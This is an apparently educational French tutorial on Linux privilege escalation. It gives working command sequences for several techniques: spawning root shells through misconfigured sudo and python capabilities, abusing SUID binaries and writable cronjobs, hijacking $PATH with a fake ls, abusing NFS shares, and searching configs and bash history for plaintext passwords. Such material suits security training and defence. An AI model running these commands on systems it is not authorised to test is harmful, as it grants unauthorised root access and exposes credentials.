Linux Privilege Escalation : Basics
Introduction
Je me dédouane de toute responsabilité concernant ce que vous allez faire de ce savoir. J'apprends à but pédagogique pour ceux qui souhaitent travailler en cybersécurité ici.
Sinon en gros, on va voir comment gagner des accès root (admin) sur Linux selon diverses manières.
Découverte Système
Principes
Avant d'exploiter une machine, il est important de bien comprendre l'environnement dans lequel on se trouve. L'objectif est d'identifier les faiblesses qui pourraient permettre une élévation de privilèges.
Commandes
Voici quelques commandes utiles pour collecter des informations sur le système :
whoami # Afficher l'utilisateur actuel
id # Voir les groupes et UID/GID
uname -a # Détails sur le noyau
cat /etc/os-release # Informations sur la distribution
hostname # Nom de la machine
env # Variables d'environnement
ps aux # Processus en cours
netstat -tulnp # Ports ouverts et services associés
find / -perm -4000 2>/dev/null # Fichiers SUID
Outils d'Automatisation
Il existe plusieurs outils permettant d'automatiser cette reconnaissance :
Exploits Noyaux
Parfois, il est possible d'exploiter une vulnérabilité du noyau Linux pour obtenir une élévation de privilèges. Quelques bases de données d'exploits :
La commande SUDO
Si un utilisateur a des privilèges sudo mal configurés, il peut potentiellement exécuter des commandes en tant que root :
sudo -l # Voir les permissions sudo de l'utilisateur
Certains binaire peuvent être exploités via sudo sans mot de passe :
sudo python3 -c 'import os; os.system("/bin/sh")'
Les SUID
gtfobins
Certains fichiers exécutables avec le bit SUID permettent d'exécuter du code en tant que root. Vérification :
find / -perm -4000 2>/dev/null
Utilisation de GTFOBins pour exploiter ces fichiers.
Capabilities
Les capabilities permettent à certains binaires d'avoir des permissions étendues. Lister les fichiers avec des capabilities :
getcap -r / 2>/dev/null
Exemple d'exploitation :
getcap /usr/bin/python3 # Si cap_setuid+ep est présent, on peut devenir root
python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
Cronjobs
Si un cronjob est exécuté en tant que root et peut être modifié, il est possible d'obtenir une élévation de privilèges. Lister les cronjobs :
cat /etc/crontab
ls -la /etc/cron.*
Si un script exécuté par un cronjob est modifiable, il peut être remplacé par un script malveillant.
Environnement $PATH
Si un script est exécuté en tant que root et appelle une commande sans chemin absolu, il est possible d'exploiter $PATH pour exécuter un binaire malveillant à la place.
export PATH=/tmp:$PATH
echo -e '#!/bin/bash\n/bin/sh' > /tmp/ls
chmod +x /tmp/ls
Si un script exécute ls
sans spécifier /bin/ls
, notre binaire sera exécuté à la place.
Partage NFS
Si un partage NFS permet une exécution non sécurisée, il est parfois possible d'obtenir un accès root sur la machine cible. Lister les partages NFS :
showmount -e <IP>
Monter un partage et voir si l'on peut créer un fichier root :
sudo mount -o rw,vers=3 <IP>:/mnt/share /mnt
cd /mnt && touch test
Les Services
Certains services mal configurés peuvent permettre une élévation de privilèges. Lister les services en cours d'exécution :
systemctl list-units --type=service
Vérifier si des services sont exécutés en tant que root et modifiables.
Trouver les Mots de Passe
Chercher des mots de passe stockés en clair :
grep -r "password" /etc/
find / -name "*.conf" -exec grep -i "password" {} \; 2>/dev/null
Rechercher dans l'historique bash :
cat ~/.bash_history